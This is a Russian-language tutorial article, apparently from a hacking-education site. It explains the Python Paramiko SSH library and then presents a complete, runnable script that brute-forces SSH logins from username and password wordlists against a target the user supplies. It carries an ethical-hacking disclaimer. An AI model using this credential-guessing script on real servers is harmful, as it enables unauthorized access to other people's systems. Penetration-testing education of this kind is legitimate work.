Paramiko — это реализация протокола SSHv1 и SSHv2 на Python. В статье покажу, как использовать Paramiko для брута SSH на Python.
Еще по теме: SSH с использованием Paramiko на Python
Что такое Paramiko
Paramiko — это модуль, написанный на Python, который поддерживает протоколы SSHv1 и SSHv2, позволяя создавать клиентов и устанавливать соединения с SSH-серверами.
Среди основных преимуществ модуля paramiko можно выделить следующее:
- Инкапсулирует сложности, связанные с выполнением автоматизированных сценариев для SSH-серверов, в удобной и простой для понимания форме.
- Поддерживает протокол SSHv2 через модули pycrypto и cryptography для реализации операций с шифрованием открытых и закрытых ключей.
- Аутентификация по открытому ключу, аутентификацию по паролю и создание SSH-туннелей.
- Позволяет писать надежные SSH-клиенты с тем же функционалом, что и другие SSH-клиенты, такие как PuTTY или клиент OpenSSH.
- Поддерживает безопасную передачу файлов с использованием протокола SFTP.
Поскольку SSHv1 небезопасен, его использование не рекомендуется из-за различных обнаруженных уязвимостей. На сегодняшний день SSHv2 — рекомендуемая версия, поскольку она поддерживает новые алгоритмы шифрования.
Для работы Paramiko, для всех операций шифрования, небходимы библиотеки pycrypto и cryptography, которые позволяет создавать локальные, удаленные и динамические зашифрованные туннели.
Установка Paramiko
Можете установить paramiko из репозитория PiP Python:
1 |
$ pip3 install paramiko |
Можно установить его в версии Python 3.4+, и есть некоторые зависимости, которые должны быть установлены в вашей системе, такие как модули pycrypto и cryptography, в зависимости от того, какую версию вы собираетесь установить. Эти библиотеки обеспечивают для SSH криптографические алгоритмы низкого уровня на основе C.
Статья в образовательных целях, для обучения этичных хакеров. Несанкционированный брут SSH является незаконным и рассматривается как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Использование Paramiko для брута SSH
Мы можем реализовать метод, который принимает два файла в качестве входных данных (users.txt и passwords.txt) и с помощью брута пытается проверить все возможные комбинации пользователей и паролей.
Обратите внимание, что если мы получаем ошибку соединения, у нас есть блок исключений, где мы можем выполнять различные задачи обработки ошибок, в зависимости от того, была ли ошибка соединения из-за ошибки аутентификации ( paramiko.AuthenticationException) или ошибки соединения с сервером ( socket.error).
Файлы, связанные с именами пользователей и паролями, представляют собой простые текстовые файлы, которые содержат распространенные имена пользователей и пароли по умолчанию для баз данных и операционных систем. Примеры таких файлов можно найти на fuzzdb.
Следующий скрипт выполнит атаку брутфорс SSH с использованием словаря пользователей и паролей.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
import paramiko import socket import time def brute_force_ssh(hostname,port,user,password): log = paramiko.util.log_to_file('log.log') ssh_client = paramiko.SSHClient() ssh_client.load_system_host_keys() ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: print('Testing credentials {}:{}'.format(user,password)) ssh_client.connect(hostname,port=port,username=user,password=password, timeout=5) print('credentials ok {}:{}'.format(user,password)) except paramiko.AuthenticationException as exception: print('AuthenticationException:',exception) except socket.error as error: print('SocketError:',error) |
В этом коде мы реализуем метод с именем brute_force_ssh(), который пытается установить соединение с SSH-сервером для каждой комбинации пользователь-пароль.
Также в этом методе мы используем инструкцию paramiko.util.log_to_file('paramiko.log') для сохранения всей активности, которую paramiko регистрирует при выполнении скрипта:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
def main(): hostname = input("Enter the target hostname: ") port = input("Enter the target port: ") users = open('users.txt','r').readlines() passwords = open('passwords.txt','r').readlines() for user in users: for password in passwords: time.sleep(3) brute_force_ssh(hostname,port,user.rstrip(),password.rstrip()) if __name__ == '__main__': main() |
В этом коде мы выполняем брут, где вызываем метод brute_force_ssh() и итерируемся по комбинациям пользователей и паролей.
При выполнении скрипта мы будем видеть, как он тестирует различные комбинации имени пользователя и пароля, пока не проверит все комбинации, которые у нас есть в файлах, или не найдет правильные учетные данные.
1 |
$ python ssh_brute_force.py |
Далее, для подключения к SSH-серверу, можно использовать модуль Pysftp.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Как взломать пароль SSH с помощью Hydra
- Получение информации об SSH при пентесте
- Брутфорс SSH с помощью Metasploit на Kali Linux